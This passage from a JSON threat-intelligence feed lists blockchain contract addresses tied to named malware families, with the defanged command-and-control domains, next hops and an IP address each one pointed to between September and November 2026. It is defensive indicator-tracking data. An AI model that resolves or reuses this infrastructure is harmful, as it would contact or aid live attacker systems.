testnet","family":"rtcgnaw","address":"0xAeF2ed8B69eFb5C1B9e75990A5F90D02Eb5f84F8","chainId":97,"history":[],"lastRead":"2026-11-04","nextHops":["0xeed9e134ce64bf74be001a942ee3e3cb5c12c999"],"firstSeen":"2026-10-11","lastChanged":"2026-10-11","destinations":[]},{"chain":"BNB Smart Chain testnet","family":"rtcgnaw","address":"0xB72158BB6642C92eF042AaA681E1Ffb8B738ef65","chainId":97,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"api[.]cloudservicecon[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["api[.]cloudservicecon[.]com"]},{"chain":"BNB Smart Chain testnet","family":"rtcgnaw","address":"0xb5f454d3102f90c876e42bf8d077a16d24ba9d67","chainId":97,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"mouseflow[.]nexus"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["mouseflow[.]nexus"]},{"chain":"BNB Smart Chain testnet","family":"rtcgnaw","address":"0xbb0F1C129d6408e60846AEA208D27122f4876dA7","chainId":97,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-25","destination":"cloud[.]protectionflare[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-25","lastChanged":"2026-09-25","destinations":["cloud[.]protectionflare[.]com"]},{"chain":"BNB Smart Chain testnet","family":"rtcgnaw","address":"0xc8ad21434639ecaf8730c4b2b6b178b30e77a307","chainId":97,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-22","destination":"tawoauth[.]com"},{"lastSeen":"2026-09-22","firstSeen":"2026-09-03","destination":"authwic[.]com"},{"lastSeen":"2026-09-03","firstSeen":"2026-09-01","destination":"blanautch[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-22","destinations":["tawoauth[.]com"]},{"chain":"BNB Smart Chain testnet","family":"rtcgnaw","address":"0xc9233895f25b1135bd0bd352b4b97a7c7210f33b","chainId":97,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-10-29","destination":"scomper[.]store"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-10-29","lastChanged":"2026-10-29","destinations":["scomper[.]store"]},{"chain":"BNB Smart Chain testnet","family":"rtcgnaw","address":"0xeED9e134CE64BF74bE001A942Ee3e3Cb5C12c999","chainId":97,"history":[],"lastRead":"2026-11-04","nextHops":["103[.]141[.]13[.]26:3479"],"firstSeen":"2026-10-11","lastChanged":"2026-10-11","destinations":[]},{"chain":"BNB Smart Chain testnet","family":"rtcgnaw","address":"0xfDF6eb935834cB2554341E394194F06395986E02","chainId":97,"history":[],"lastRead":"2026-11-04","nextHops":["0xeed9e134ce64bf74be001a942ee3e3cb5c12c999"],"firstSeen":"2026-10-11","lastChanged":"2026-10-11","destinations":[]},{"chain":"Polygon","family":"rtcgnaw","address":"0x83f3cb2f941773e97069cb0bbaa9028a843f5be1","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"woocompay[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"wpguarding[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["woocompay[.]com","wpguarding[.]com"]},{"chain":"Ethereum","family":"scbackdoor","address":"0x6d2c5435ef70196740a48904b69377935d50abbb","chainId":1,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-10-20","destination":"decoyanswer[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-10-20","destination":"egg-crusade[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-10-20","destination":"fruit-overall[.]com"},{"lastSeen":"2026-10-20","firstSeen":"2026-09-16","destination":"chordapple[.]com"},{"lastSeen":"2026-10-20","firstSeen":"2026-09-16","destination":"correspondabb[.]com"},{"lastSeen":"2026-10-20","firstSeen":"2026-09-16","destination":"rehearsal-b[.]com"},{"lastSeen":"2026-09-16","firstSeen":"2026-09-12","destination":"cold-pyramid[.]com"},{"lastSeen":"2026-09-16","firstSeen":"2026-09-12","destination":"stand-medal[.]com"},{"lastSeen":"2026-09-16","firstSeen":"2026-09-12","destination":"truth-dialogue[.]com"},{"lastSeen":"2026-09-12","firstSeen":"2026-09-10","destination":"gear-carriage[.]com"},{"lastSeen":"2026-09-12","firstSeen":"2026-09-10","destination":"notion-brown[.]com"},{"lastSeen":"2026-09-12","firstSeen":"2026-09-10","destination":"tape-exposure[.]com"},{"lastSeen":"2026-09-10","firstSeen":"2026-09-09","destination":"castle-lid[.]com"},{"lastSeen":"2026-09-10","firstSeen":"2026-09-09","destination":"colon-strange[.]pro"},{"lastSeen":"2026-09-10","firstSeen":"2026-09-09","destination":"highlight-pyramid[.]com"},{"lastSeen":"2026-09-09","firstSeen":"2026-09-05","destination":"basic-junior[.]com"},{"lastSeen":"2026-09-09","firstSeen":"2026-09-05","destination":"great-basic[.]com"},{"lastSeen":"2026-09-09","firstSeen":"2026-09-05","destination":"railroad-boot[.]com"},{"lastSeen":"2026-09-05","firstSeen":"2026-09-01","destination":"forecast-chaos[.]com"},{"lastSeen":"2026-09-05","firstSeen":"2026-09-01","destination":"root-cherry[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-10-20","destinations":["decoyanswer[.]com","egg-crusade[.]com","fruit-overall[.]com"]},{"chain":"Ethereum","family":"scbackdoor","address":"0x839d1ce5c3f259e8d3d17114d7186edabdbea94b","chainId":1,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-10-20","destination":"decoyanswer[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-10-20","destination":"egg-crusade[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-10-20","destination":"fruit-overall[.]com"},{"lastSeen":"2026-10-20","firstSeen":"2026-09-16","destination":"chordapple[.]com"},{"lastSeen":"2026-10-20","firstSeen":"2026-09-16","destination":"correspondabb[.]com"},{"lastSeen":"2026-10-20","firstSeen":"2026-09-16","destination":"rehearsal-b[.]com"},{"lastSeen":"2026-09-16","firstSeen":"2026-09-12","destination":"cold-pyramid[.]com"},{"lastSeen":"2026-09-16","firstSeen":"2026-09-12","destination":"stand-medal[.]com"},{"lastSeen":"2026-09-16","firstSeen":"2026-09-12","destination":"truth-dialogue[.]com"},{"lastSeen":"2026-09-12","firstSeen":"2026-09-10","destination":"gear-carriage[.]com"},{"lastSeen":"2026-09-12","firstSeen":"2026-09-10","destination":"notion-brown[.]com"},{"lastSeen":"2026-09-12","firstSeen":"2026-09-10","destination":"tape-exposure[.]com"},{"lastSeen":"2026-09-10","firstSeen":"2026-09-09","destination":"castle-lid[.]com"},{"lastSeen":"2026-09-10","firstSeen":"2026-09-09","destination":"colon-strange[.]pro"},{"lastSeen":"2026-09-10","firstSeen":"2026-09-09","destination":"highlight-pyramid[.]com"},{"lastSeen":"2026-09-09","firstSeen":"2026-09-05","destination":"basic-junior[.]com"},{"lastSeen":"2026-09-09","firstSeen":"2026-09-05","destination":"great-basic[.]com"},{"lastSeen":"2026-09-09","firstSeen":"2026-09-05","destination":"railroad-boot[.]com"},{"lastSeen":"2026-09-05","firstSeen":"2026-09-01","destination":"forecast-chaos[.]com"},{"lastSeen":"2026-09-05","firstSeen":"2026-09-01","destination":"root-cherry[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-10-20","destinations":["decoyanswer[.]com","egg-crusade[.]com","fruit-overall[.]com"]},{"chain":"Ethereum","family":"scbackdoor","address":"0x9a4752caa1c15868487a0acb691f81bfa901e063","chainId":1,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-10-20","destination":"decoyanswer[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-10-20","destination":"egg-crusade[.]com"},{"lastSeen":"2026-11-04","firstSeen":"2026-10-20","destination":"fruit-overall[.]com"},{"lastSeen":"2026-10-20","firstSeen":"2026-09-16","destination":"chordapple[.]com"},{"lastSeen":"2026-10-20","firstSeen":"2026-09-16","destination":"correspondabb[.]com"},{"lastSeen":"2026-10-20","firstSeen":"2026-09-16","destination":"rehearsal-b[.]com"},{"lastSeen":"2026-09-16","firstSeen":"2026-09-12","destination":"cold-pyramid[.]com"},{"lastSeen":"2026-09-16","firstSeen":"2026-09-12","destination":"stand-medal[.]com"},{"lastSeen":"2026-09-16","firstSeen":"2026-09-12","destination":"truth-dialogue[.]com"},{"lastSeen":"2026-09-12","firstSeen":"2026-09-10","destination":"gear-carriage[.]com"},{"lastSeen":"2026-09-12","firstSeen":"2026-09-10","destination":"notion-brown[.]com"},{"lastSeen":"2026-09-12","firstSeen":"2026-09-10","destination":"tape-exposure[.]com"},{"lastSeen":"2026-09-10","firstSeen":"2026-09-09","destination":"castle-lid[.]com"},{"lastSeen":"2026-09-10","firstSeen":"2026-09-09","destination":"colon-strange[.]pro"},{"lastSeen":"2026-09-10","firstSeen":"2026-09-09","destination":"highlight-pyramid[.]com"},{"lastSeen":"2026-09-09","firstSeen":"2026-09-05","destination":"basic-junior[.]com"},{"lastSeen":"2026-09-09","firstSeen":"2026-09-05","destination":"great-basic[.]com"},{"lastSeen":"2026-09-09","firstSeen":"2026-09-05","destination":"railroad-boot[.]com"},{"lastSeen":"2026-09-05","firstSeen":"2026-09-01","destination":"forecast-chaos[.]com"},{"lastSeen":"2026-09-05","firstSeen":"2026-09-01","destination":"root-cherry[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-10-20","destinations":["decoyanswer[.]com","egg-crusade[.]com","fruit-overall[.]com"]},{"chain":"Ethereum","family":"superpixel","address":"0x4F3D0C43acdF8308B9258dfC9d8aA45DdF3E1D17","chainId":1,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"metrics-onclick[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["metrics-onclick[.]com"]},{"chain":"BNB Smart Chain testnet","family":"testnettail","address":"0x5dE54CEAE7Aa7d0D9C333B272669E6912d093677","chainId":97,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"qiuy[.]org"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["qiuy[.]org"]},{"chain":"BNB Smart Chain testnet","family":"triplegnaw","address":"0x0967296defa0fd586c9ede5730380e2b059fab95","chainId":97,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"ws[.]eb2026c95ia[.]xyz"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["ws[.]eb2026c95ia[.]xyz"]},{"chain":"Polygon","family":"twinkey","address":"0xb6be32f00cd80b27ed2b94c10dce991d0d27aef0","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-09-01","destination":"recap-cha[.]xyz"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-01","lastChanged":"2026-09-01","destinations":["recap-cha[.]xyz"]},{"chain":"Polygon","family":"xorveil","address":"0xB909956B9d716ddfDF6935115a8d6F6cB2E655c6","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-11-04","destination":"govrobczxc[.]cc"},{"lastSeen":"2026-11-04","firstSeen":"2026-10-30","destination":"ubbrobccheck20[.]cc"},{"lastSeen":"2026-11-04","firstSeen":"2026-10-30","destination":"verifyidentrob01[.]cc"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-10-30","lastChanged":"2026-11-04","destinations":["govrobczxc[.]cc","ubbrobccheck20[.]cc"]},{"chain":"Polygon","family":"xorveil","address":"0xb29927b7d854b232d5e58cfc201866376e68c676","chainId":137,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-11-04","destination":"checkogosdfg33[.]cc"},{"lastSeen":"2026-11-04","firstSeen":"2026-10-29","destination":"ubbrobccheck20[.]cc"},{"lastSeen":"2026-11-04","firstSeen":"2026-10-29","destination":"verifyidentrob01[.]cc"},{"lastSeen":"2026-10-29","firstSeen":"2026-10-20","destination":"btorsercoyt31[.]cc"},{"lastSeen":"2026-10-29","firstSeen":"2026-10-20","destination":"zurggoyttjof21[.]cc"},{"lastSeen":"2026-10-20","firstSeen":"2026-10-14","destination":"checkvbbrows39[.]cc"},{"lastSeen":"2026-10-14","firstSeen":"2026-10-04","destination":"checkdvvc99[.]cc"},{"lastSeen":"2026-10-14","firstSeen":"2026-10-04","destination":"checkmybtrobot[.]cc"},{"lastSeen":"2026-10-04","firstSeen":"2026-10-03","destination":"allowcsxan2[.]site"},{"lastSeen":"2026-10-03","firstSeen":"2026-09-29","destination":"allowcheckd3[.]cc"},{"lastSeen":"2026-10-03","firstSeen":"2026-09-29","destination":"chekcms432[.]cc"},{"lastSeen":"2026-09-29","firstSeen":"2026-09-26","destination":"imersion4cf[.]site"},{"lastSeen":"2026-09-26","firstSeen":"2026-09-25","destination":"checkms5[.]cc"},{"lastSeen":"2026-09-25","firstSeen":"2026-09-24","destination":"checkmrobot[.]site"},{"lastSeen":"2026-09-25","firstSeen":"2026-09-24","destination":"univesalcheckrobot[.]site"},{"lastSeen":"2026-09-24","firstSeen":"2026-09-22","destination":"checkrobotbb[.]pw"},{"lastSeen":"2026-09-22","firstSeen":"2026-09-20","destination":"check-mdfcf[.]pw"},{"lastSeen":"2026-09-20","firstSeen":"2026-09-20","destination":"windowsdiag-service[.]pw"},{"lastSeen":"2026-09-20","firstSeen":"2026-09-17","destination":"api-relay[.]cc"},{"lastSeen":"2026-09-17","firstSeen":"2026-09-15","destination":"botcheck-cf[.]top"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-09-15","lastChanged":"2026-11-04","destinations":["checkogosdfg33[.]cc","ubbrobccheck20[.]cc"]},{"chain":"Base","family":"xorveil","address":"0x2c8Ab9aBF9aF20dB4c50bA19229f7FfE31e744e1","chainId":8453,"history":[{"lastSeen":"2026-11-04","firstSeen":"2026-11-04","destination":"salesmarkllc[.]com"}],"lastRead":"2026-11-04","nextHops":[],"firstSeen":"2026-11-04","lastChanged":"2026-11-04","destinations":["salesmarkllc[.]com"]}],"generatedAt":"2026-11-04T14:47:04Z","recordsBegin":"2026-08-01","capturesBegin":"2026-09-25","contractsRead":172}